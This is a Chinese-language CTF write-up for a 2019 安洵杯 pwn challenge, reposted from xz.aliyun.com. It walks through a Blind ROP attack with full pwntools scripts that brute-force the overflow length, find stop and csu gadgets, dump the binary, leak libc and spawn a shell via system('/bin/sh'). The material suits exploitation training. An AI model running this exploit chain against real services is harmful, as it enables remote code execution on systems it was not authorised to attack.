BROP

发表于 2021-01-16 分类于 Challenge， 2019， 安洵杯， Pwn
Challenge | 2019 | 安洵杯 | Pwn | BROP

点击此处获得更好的阅读体验

WriteUp来源

https://xz.aliyun.com/t/6912

题目考点

解题思路

标准的brop的思路,本来出题想要加上canary以及write和strcmp,可惜环境容易崩,测试的时候,总是崩溃....没法上题

emm...步骤比较多

nc链接上去,发现,输入了,然后回显,然后没了...

使用%p也没用...那就猜测是否是否有栈区溢出

暴力破解-获取偏移

猜测是否有栈区溢出

```
#-*- coding:utf-8 -*-
from pwn import *
from LibcSearcher import LibcSearcher
context.log_level='debug'
#context(arch = 'i386', os = 'linux', log_level='debug')
#context(arch = 'amd64', os = 'linux', log_level='debug')
#log_level=['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING']
ip = "0.0.0.0"
port = 10001

def getbufferflow_length():
    i = 1
    while True:
        try:
            io = remote(ip,port)
            io.recvuntil("Please tell me:")
            io.sendline(i*'a')
            output = io.recvuntil("Goodbye!\n",timeout=1)
            print output
            #hello = io.recv()
            io.close()
            #print "[*] the index is " + str(output.find('Goodbyte!'))
            if output == "":
                return i - 1
            else:
                i += 1
        except EOFError:
            io.close()
            return i - 1

length = getbufferflow_length()
print length
```

获取stop_gadget--main

```
#-*- coding:utf-8 -*-
from pwn import *
from LibcSearcher import LibcSearcher
context.log_level='debug'
#context(arch = 'i386', os = 'linux', log_level='debug')
#context(arch = 'amd64', os = 'linux', log_level='debug')
#log_level=['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING']
gadget_array = []
def get_stop_addr(length):
    addr = 0x4007D0#7D0

    while 1:
        try:
            sh = remote('127.0.0.1', 10001)
            sh.recvuntil("Please tell me:")
            payload = 'a' * length + p64(addr)
            sh.sendline(payload)
            #sh.recvuntil("Repeater:")
            sh.recv()
            recvstr = sh.recv()
            sh.close()
            if recvstr.startswith('Hello'):
                gadget_array.append(addr)
                return gadget_array
            print 'one success addr: 0x%x' % (addr)
            addr += 1
        except Exception:
            addr += 1
            sh.close()
length = 216
stop_gadget = get_stop_addr(length)
for i in range(len(stop_gadget)):
    print 'one success addr: 0x%x' % (stop_gadget[i])


#0x4007d6
```

获取brop_gadget--libc_csu_init

```python
#-*- coding:utf-8 -*-
from pwn import *
from LibcSearcher import LibcSearcher
context.log_level='debug'
#context(arch = 'i386', os = 'linux', log_level='debug')
#context(arch = 'amd64', os = 'linux', log_level='debug')
#log_level=['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING']
def get_brop_gadget(length, stop_gadget, addr):
    try:
        sh = remote('127.0.0.1', 10001)
        sh.recvuntil('Please tell me:')
        payload = 'a' * length + p64(addr) + p64(0) * 6 + p64(
            stop_gadget) + p64(0) * 10
        sh.sendline(payload)
        sh.recv()
        content = sh.recv()
        sh.close()
        print content
        # stop gadget returns memory
        if not content.find('Hello'):
            return False
        return True
    except Exception:
        sh.close()
        return False

def check_brop_gadget(length, addr):
    try:
        sh = remote('127.0.0.1', 10001)
        sh.recvuntil('Please tell me:')
        payload = 'a' * length + p64(addr) + 'a' * 8 * 10
        sh.sendline(payload)
        sh.recv()
        content = sh.recv()
        sh.close()
        return False
    except Exception:
        sh.close()
        return True

length = 216
stop_gadget = 0x4007d6
addr = 0x4007d6#libc_scu_init is behind from main
while 1:
    print hex(addr)
    if get_brop_gadget(length, stop_gadget, addr):
        print 'possible brop gadget: 0x%x' % addr
        if check_brop_gadget(length, addr):
            print 'success brop gadget: 0x%x' % addr
            break
    addr += 1
#0x40095a
```

获取puts_plt

```
#-*- coding:utf-8 -*-
from pwn import *
from LibcSearcher import LibcSearcher
context.log_level='debug'
#context(arch = 'i386', os = 'linux', log_level='debug')
#context(arch = 'amd64', os = 'linux', log_level='debug')
#log_level=['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING']
def get_puts_addr(length, rdi_ret, stop_gadget):
    addr = 0x400630
    while 1:
        print hex(addr)
        sh = remote('127.0.0.1', 10001)
        sh.recvuntil('Please tell me:')
        payload = 'A' * length + p64(rdi_ret) + p64(0x400000) + p64(
            addr) + p64(stop_gadget)
        sh.sendline(payload)
        try:
            sh.recv()
            content = sh.recv()
            if content.find('\x7fELF'):
                print 'find puts@plt addr: 0x%x' % addr
                return addr
            sh.close()
            addr += 1
        except Exception:
            sh.close()
            addr += 1
length = 216
stop_gadget = 0x4007d6
brop_gadget = 0x40095a
rdi_ret = brop_gadget + 9
puts_plt = get_puts_addr(length,rdi_ret,stop_gadget)

print hex(puts_plt)
#0x400635
```

dump文件

```
#-*- coding:utf-8 -*-
from pwn import *
from LibcSearcher import LibcSearcher
context.log_level='debug'
#context(arch = 'i386', os = 'linux', log_level='debug')
#context(arch = 'amd64', os = 'linux', log_level='debug')
#log_level=['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING']
def leakfunction(length, rdi_ret, puts_plt, stop_gadget):
    addr = 0x4005fd#0x400000
    result = ""
    offset = 0
    while addr < 0x401000:
        #print hex(addr)
        data = leak(length, rdi_ret, puts_plt, addr+offset, stop_gadget)
        print "data is " + data
        if data is None:
            continue
        else:
            result = data
            offset += len(data)
            print "[*] offset is "+ hex(offset)
            print "[*] addr is "+ hex(addr)
        with open('code', 'ab') as f:
            f.write(result)


def leak(length, rdi_ret, puts_plt, leak_addr, stop_gadget):
    sh = remote('127.0.0.1', 10001)
    payload = 'a' * length + p64(rdi_ret) + p64(leak_addr) + p64(
        puts_plt) + p64(stop_gadget)
    sh.recvuntil('Please tell me:')
    sh.sendline(payload)
    try:
        #sh.recvuntil(rdi_ret)
        #hello = 'a' * length + p8((rdi_ret>>1)&0xff) + p8((rdi_ret>>2)&0xff) + p8(rdi_ret & 0xff)
        hello = 'a' * length + '\x63\x09\x40'
        print "[*] hello is " + hello
        sh.recvuntil(hello)
        #sh.recv()
        data = sh.recv()
        sh.close()

        try:
            #print hex(rdi_ret)
            data = data[:data.index("\nHello")]
            #print data
        except Exception:
            data = data
        if data == "":
            data = '\x00'
        return data
    except Exception:
        sh.close()
        return None


length = 216
stop_gadget = 0x4007d6
brop_gadget = 0x40095a
rdi_ret = brop_gadget + 9
puts_plt = 0x400635

print "this is " + hex(rdi_ret)
leakfunction(length, rdi_ret, puts_plt, stop_gadget)

#io.interactive()
```

中间好像会中断一次,应该是申请了太多次,导致的断开连接了...

但是没事,继续泄露就行了,然后dump下来看汇编,找到对应的puts_plt哪行对应的地址...舒服了

一个重点:

这里会发现一个问题,我们的puts_plt = 0x400635 在前面都是正确的,因为代码的确会执行到puts的函数的功能,但是我们在实际

查看dump下来的文件的时候,我们会发现这个

很巧的就是这个0x400635是在plt表的开头,然后puts正好是衔接着开头的,所以实际的plt的地址应该是后面那个,不信,可以改掉前面的635->640,是完全都可以运行的

exp

```
#-*- coding:utf-8 -*-
from pwn import *
from LibcSearcher import LibcSearcher
context.log_level='debug'
#context(arch = 'i386', os = 'linux', log_level='debug')
#context(arch = 'amd64', os = 'linux', log_level='debug')
#log_level=['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING']

length = 216
stop_gadget = 0x4007d6
brop_gadget = 0x40095a
rdi_ret = brop_gadget + 9
puts_plt = 0x400635
puts_got = 0x601018
sh = remote('127.0.0.1', 10001)
sh.recvuntil('Please tell me:')
payload = 'a' * length + p64(rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(
    stop_gadget)
sh.sendline(payload)
sh.recvuntil('\x63\x09\x40')
data = sh.recvuntil('\nHello', drop=True)
puts_addr = u64(data.ljust(8, '\x00'))
print "[*] puts_addr is " + hex(puts_addr)

libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')
payload = 'a' * length + p64(rdi_ret) + p64(binsh_addr) + p64(
    system_addr) + p64(stop_gadget)
sh.sendline(payload)
sh.interactive()
```


#Challenge #Pwn #2019 #安洵杯
Blindpwn-64位有偏移
PWN4